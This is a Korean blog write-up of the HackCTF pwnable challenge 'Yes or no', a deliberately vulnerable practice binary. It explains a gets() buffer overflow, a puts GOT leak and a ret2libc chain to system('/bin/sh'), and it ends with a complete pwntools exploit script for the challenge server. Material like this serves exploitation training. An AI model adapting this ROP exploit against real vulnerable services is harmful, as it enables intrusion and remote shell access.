메로나

[HackCTF] Yes or no (150) write-up 본문

Wargame & CTF/Pwnable

[HackCTF] Yes or no (150) write-up

m3r0n4 2020. 8. 19. 15:34

이 문제를 풀기 전 2018 CodeGate BaskinRobins31을 한번 보고 오시는 것이 좋다고 생각합니당... 비슷한 문제예요

가장 많이 삽질했던 문제 같습니다.

 

먼저 보호 기법은 아래와 같습니다.

NX가 활성화되어 있어서 쉘 코드는 사용할 수 없고 x64입니다.

그냥 실행해 보면 숫자를 입력하라 하고 do_system+1094에 대해 언급을 해 줍니다.

do_system+1094라고 검색을 해보니 do_system+1094는 2.27 glibc 버전에서 발생하는 system 함수 내에서 생성되는 오류입니다. rsp의 값이 16바이트로 채워져 있지 않으면 do_system+1094에 존재하는 명령어에서 오류가 나게 됩니다. 그래서 가젯을 잘 끼워 넣어야 합니다.

IDA로 한번 보면 아래와 같습니다.

숫자를 입력받고, 정확한 숫자 값을 입력하면 That's cool. Follow me라는 문구와 함께 gets함수로 s에 데이터를 받아옵니다. 여기서 입력값 크기에 대한 검사가 없으므로 버퍼 오버플로우 취약점이 발생합니다. 따로 플래그를 받아오거나 /bin/sh를 실행하는 함수가 존재하지 않으므로 RTL 기법으로 실행해야 한다는 것을 알 수 있습니다.

먼저 어떤 값이 gets 함수로 갈 수 있는 값인지 알아봅시다. 

이 부분에서 입력값 검사가 있으므로 main+237에 bp를 걸어두고 실행해 봅시다.

비교가 이루어지는 RAX 값이 0x960000입니다. 10진수로 바꿔보면 9830400이므로, 9830400을 입력해야 gets함수를 사용할 수 있다는 것을 알 수 있습니다. 

이제 gets 함수를 사용할 수 있으므로 시나리오를 짜 보도록 합시다.

1. puts 함수를 통해 puts함수의 실제 주소를 leak 한 후 main 함수로 복귀
2. puts 함수의 실제 주소를 이용해 libc_base 주소 계산 후 system 함수 및 /bin/sh의 주소 계산
3. system('/bin/sh') 실행

먼저 puts함수의 실제 주소를 leak 해봅시다.

puts 함수를 불러와 puts함수의 실제 주소를 leak 하는 코드입니다. 실행해 보면,

puts 함수의 실제 주소가 성공적으로 출력되는 것을 볼 수 있습니다. 이를 이용해 libc의 실제 주소와 system 함수의 실제 주소, /bin/sh의 주소를 구한 후 실행해 봅시다.

아는 동생에게 받은 꿀팁입니다. x64 환경에서 pr 가젯과 r 가젯은 굳이 ROPgadget으로 찾을 필요가 없고

__libc_csu_init 의 99번째 줄이 pop rdi 이라는 꿀팁을 받았습니다. 99번째 줄이 pr 가젯이니 r 가젯은 100번째 줄이겠죠?

이를 이용해 익스플로잇을 작성해 봅시다.

from pwn import *

context.log_level = 'debug'
IP = 'ctf.j0n9hyun.xyz'
PORT = '3009'
p = remote(IP, PORT)
#p = process('./yes_or_no')
e = ELF('./yes_or_no')
#libc = e.libc
libc = ELF('./libc-2.27.so')

key = '9830400'
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = e.symbols['main']
pop_rdi = e.symbols['__libc_csu_init'] + 99
ret = e.symbols['__libc_csu_init'] + 100
sys_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()

p.sendlineafter('Show me your number~!\n', key)

#_________[level 1]_________#

payload = "A" * (0x12 + 8)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

p.sendlineafter('Follow me\n', payload)

puts_addr = u64(p.recv(6) + '\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + sys_offset
binsh = libc_base + binsh_offset

log.success('puts_addr = ' + hex(puts_addr))
log.success('libc_base = ' + hex(libc_base))
log.success('system_addr = ' + hex(system_addr))
log.success('binsh = ' + hex(binsh))

p.sendlineafter('Show me your number~!\n', key)

#_________[level 0]_________#

payload = "A" * (0x12 + 8)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system_addr)

p.sendlineafter('Follow me\n', payload)
p.interactive()

 실행해 보면,

제대로 동작하는 것을 알 수 있습니다.